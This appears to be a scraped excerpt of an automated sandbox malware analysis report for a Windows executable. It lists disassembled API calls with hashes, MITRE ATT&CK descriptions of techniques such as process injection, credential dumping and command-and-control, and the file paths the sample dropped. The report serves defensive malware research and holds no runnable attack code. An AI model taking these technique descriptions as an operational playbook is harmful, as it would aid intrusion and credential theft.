CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Yn13dTQdcW.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\IE3E3OPZUA1N\58Y5FK

C:\ProgramData\IE3E3OPZUA1N\5FUK68

C:\ProgramData\IE3E3OPZUA1N\7YC2NO

C:\ProgramData\IE3E3OPZUA1N\9R1D2D

C:\ProgramData\IE3E3OPZUA1N\HDBAI5

C:\ProgramData\IE3E3OPZUA1N\I5P8GL68G

C:\ProgramData\IE3E3OPZUA1N\JWB1V3

C:\ProgramData\IE3E3OPZUA1N\KFUAIW

C:\ProgramData\IE3E3OPZUA1N\LX4EUSR1N

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

C:\Users\user\AppData\Local\Temp\402438\N

C:\Users\user\AppData\Local\Temp\402438\Suicide.com

C:\Users\user\AppData\Local\Temp\Argue

Windows Analysis Report
Yn13dTQdcW.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre